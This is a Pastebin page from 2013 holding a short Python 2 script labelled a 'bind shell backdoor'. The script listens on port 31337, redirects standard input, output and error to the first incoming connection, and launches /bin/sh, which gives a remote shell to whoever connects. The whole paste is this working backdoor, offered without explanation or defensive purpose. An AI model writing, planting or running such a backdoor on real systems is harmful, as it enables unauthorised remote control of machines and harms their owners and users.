SHARE
TWEET

Untitled

a guest Jan 9th, 2013 792 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #
  2. #bind shell backdoor in python
  3. #
  4. import os,sys,socket
  5.  
  6. ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  7. print '-Creating socket..'
  8. port = 31337
  9. try:
  10.         ls.bind(('', port))
  11.         print '-Binding the port on '
  12.         ls.listen(1)
  13.         print '-Listening, '
  14.         (conn, addr) = ls.accept()
  15.         print '-Waiting for connection...'
  16.         cli= conn.fileno()
  17.         print '-Redirecting shell...'
  18.         os.dup2(cli, 0)
  19.         print 'In, '
  20.         os.dup2(cli, 1)
  21.         print 'Out, '
  22.         os.dup2(cli, 2)
  23.         print 'Err'    
  24.         print 'Done!'
  25.         arg0='/bin/sh'
  26.         arg1='-a'
  27.         args=[arg0]+[arg1]
  28.         os.execv(arg0, args)
  29. except(socket.error):
  30.         print 'fail\n'
  31.         conn.close()
  32.         sys.exit(1)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top